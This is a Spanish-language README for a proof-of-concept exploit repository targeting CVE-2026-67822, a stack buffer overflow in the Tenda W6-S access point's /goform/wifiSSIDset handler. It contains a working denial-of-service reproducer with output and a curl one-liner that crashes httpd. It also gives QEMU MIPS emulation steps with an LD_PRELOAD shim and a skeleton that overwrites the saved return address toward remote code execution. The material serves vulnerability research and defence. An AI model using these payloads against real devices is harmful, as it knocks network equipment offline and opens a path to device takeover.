
PoC para el desbordamiento de pila CVE-2026-67822 en Tenda W6-S /goform/wifiSSIDset: reproductor de DoS, shim QEMU MIPS y esqueleto conceptual de payload RCE.
wifiSSIDset de Tenda W6-S (PoC)PoC complementario del artículo de Hunt-Benito
"GO sin límites: CVE-2026-67822 — Desbordamiento de pila en el manejador de formularios wifiSSIDset de Tenda W6-S".
CVE-2026-67822 (CVSS 9.8 Crítico, CWE-121) es un desbordamiento de búfer basado en pila en formwrlSSIDset(), la función en C detrás del endpoint /goform/wifiSSIDset del /bin/httpd del punto de acceso inalámbrico Tenda W6-S (un servidor web derivado de GoAhead).
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
Impacto confirmado: denegación de servicio (caída de httpd).
Impacto potencial: ejecución remota de código (MIPS, sin canario de pila / sin ASLR en la compilación).
Contra un W6-S real (IP LAN predeterminada 192.168.5.10) o una instancia emulada:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
Equivalente en una sola línea:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
Una vez que la solicitud devuelve respuesta, la interfaz de administración queda inoperante hasta que se corte y restablezca la alimentación.
fake_apmib.so)/bin/httpd espera hardware real de Tenda (libapmib.so, el daemon cfmd, una MAC LAN). El shim fake_apmib.c falsifica lo justo para que httpd arranque dentro de un sistema de archivos de firmware emulado. La configuración replica la técnica del investigador original.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd con el shimguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
La interfaz de administración ya es accesible en http://192.168.5.10 (acceso predeterminado admin / admin), y poc_dos.py funciona contra ella exactamente igual que contra el hardware real.
Los prototipos exactos de los helpers internos
apmib/cfmdde Tenda varían entre compilaciones de firmware. Confírmalos contra ellibapmib.soreal de tu objetivo (objdump -T libapmib.so/ IDA) y ajustafake_apmib.csegún sea necesario.
exploit_conceptual.py documenta la forma de explotación más allá del DoS:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
Este esqueleto solo redirige $ra. Convertir el secuestro en ejecución real de código requiere shellcode en una pila sin NX o una cadena ROP ensamblada a partir de gadgets de la imagen de firmware específica; ambas cosas dependen de la compilación y se dejan deliberadamente al investigador. El DoS está confirmado; la RCE es el peor caso plausible que refleja el vector CVSS (C:H/I:H).
Este código es solo para investigación de seguridad autorizada. Ejecútalo únicamente contra dispositivos que poseas o para los que tengas permiso escrito explícito de prueba. No lo utilices contra redes o hardware que no controles.
| Producto afectado | Punto de acceso inalámbrico Tenda W6-S |
| Firmware afectado | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (Desbordamiento de búfer basado en pila) |
| Endpoint vulnerable | POST /goform/wifiSSIDset (parámetros GO, index) |
| Descubridor / crédito | trister |
| Archivo | Propósito |
|---|
poc_dos.py | Reproductor de DoS confirmado. Envía un parámetro GO de tamaño excesivo y detecta la caída de httpd resultante. Solo stdlib: sin dependencias. |
exploit_conceptual.py | Esqueleto conceptual de RCE. Demuestra la forma del secuestro de flujo de control (relleno hasta $ra guardado, sobrescritura) y un helper de patrón cíclico para derivar empíricamente el offset hasta $ra. No incluye shellcode funcional ni direcciones de gadgets. |
fake_apmib.c | Shim LD_PRELOAD que falsifica las llamadas de hardware/MIB de Tenda para que /bin/httpd arranque en un invitado QEMU MIPS: la técnica utilizada para reproducir el fallo sin un dispositivo físico. |
| Intercepciones del shim | Devuelve | Motivo |
|---|
apmib_init() | 1 | omitir la inicialización de hardware/MIB |
ConnectCfm() | 1 | simular que el daemon cfmd respondió |
GetValue("lan.ip", …) | 192.168.5.10 | IP de administración estática |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | MAC falsa |
connect() | paso directo | las conexiones unix-socket/TCP se resuelven |